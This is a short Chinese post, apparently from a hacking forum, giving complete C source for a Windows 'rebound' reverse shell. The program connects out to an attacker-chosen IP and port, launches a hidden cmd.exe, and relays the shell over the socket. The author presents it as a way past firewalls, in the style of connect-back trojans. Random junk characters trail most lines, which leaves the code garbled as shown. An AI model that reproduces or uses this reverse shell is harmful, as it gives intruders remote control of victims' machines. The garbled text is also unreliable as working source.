这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U\W$^r,
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/* ============================== f'MRC
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Rebound port in Windows NT m;nH
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By wind,2006/7 ^Y!$WP
===============================*/ :#\jx
#include }8ESp3~e_
#include tKeozV[V
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#pragma comment(lib,"wsock32.lib") 3DxgfP%n
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void OutputShell(); E:O/=cT
SOCKET sClient; +K8T%GAr
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?)[=>Kp
Q );}1'c
void main(int argc,char **argv) xOr"3;^
{ FI[]#
WSADATA stWsaData; ,Y#f0
int nRet; $C,`^n'
SOCKADDR_IN stSaiClient,stSaiServer; :^qUr`)
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if(argc != 3) "r8N-
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{ 1vAJ(O{-
printf("Useage:\n\rRebound DestIP DestPort\n"); JaR!9GVN7
return; WRRR "Q$
} |Om9(xT
bSQj=|h1
WSAStartup(MAKEWORD(2,2),&stWsaData); D51s)?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qVO,sKQ{
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stSaiClient.sin_family = AF_INET; #)i+'L8
stSaiClient.sin_port = htons(0); >I0 a$w
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sk_xQo#Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 56u_viZ=8
{ .]a`-Ofn
printf("Bind Socket Failed!\n"); K@oyvJ$
return; 5 /T#>l<
} ]3Ibl^J
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stSaiServer.sin_family = AF_INET; .eorwj]yb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \C h01LR"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !!H"B('m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e,MsF4'
{ 2\QsF,@`YU
printf("Connect Error!"); d]"4aS
return; CgrQ"N5
} =I)43ahd
OutputShell(); XclTyUGoK+
} y!.jpF'uI
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void OutputShell() T9H*]LxK
{ IhYR4?e
char szBuff[1024]; 9;?u%
SECURITY_ATTRIBUTES stSecurityAttributes; FutS
OSVERSIONINFO stOsversionInfo; }$4z$&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $R1I(sJ
STARTUPINFO stStartupInfo; uMS+,dXy
char *szShell; wz*iwd-
PROCESS_INFORMATION stProcessInformation; $t(v `,
unsigned long lBytesRead; 6AGZ)gX
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .t5.(0Xk[A
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t'l4$}(
stSecurityAttributes.lpSecurityDescriptor = 0; r(46jV.sD:
stSecurityAttributes.bInheritHandle = TRUE; K+F"V W*?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y(.e e%;,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nQjpJ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VP~2F
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iM)K:L7d
stStartupInfo.wShowWindow = SW_HIDE; Nc7"`!;-
stStartupInfo.hStdInput = hReadPipe; zVq!M-e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ` 3qf}=Z`
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GetVersionEx(&stOsversionInfo); ERpAV-Zf
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switch(stOsversionInfo.dwPlatformId) U]=yCEb8p
{ %N*[{j= ^
case 1: Q&eyqk
szShell = "command.com"; tQ|c.`)W
break; rPaJ<>Kz
default: s5nw<V9$]
szShell = "cmd.exe"; N}?|ik
break; nF <K84
} wUv?;Y$C
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); iBSM
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send(sClient,szMsg,77,0); yV(#z2|
while(1) 9Da{|FyrD
{ 8tx*z"2S
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _O`p (6
if(lBytesRead) mr\,"S-`
{ %Jt35j@Ee
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WHdM P
send(sClient,szBuff,lBytesRead,0); fEHFlgN3Ap
} xE:jcA
d$}
else
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8
{ L 4j#0I]lq
lBytesRead=recv(sClient,szBuff,1024,0); 3W?7hh
if(lBytesRead<=0) break; FS1\`#Bm)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 72dRp!JU
} rmX*s}B
} o[ZjXLJzV
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return; jJ#D`iog5
}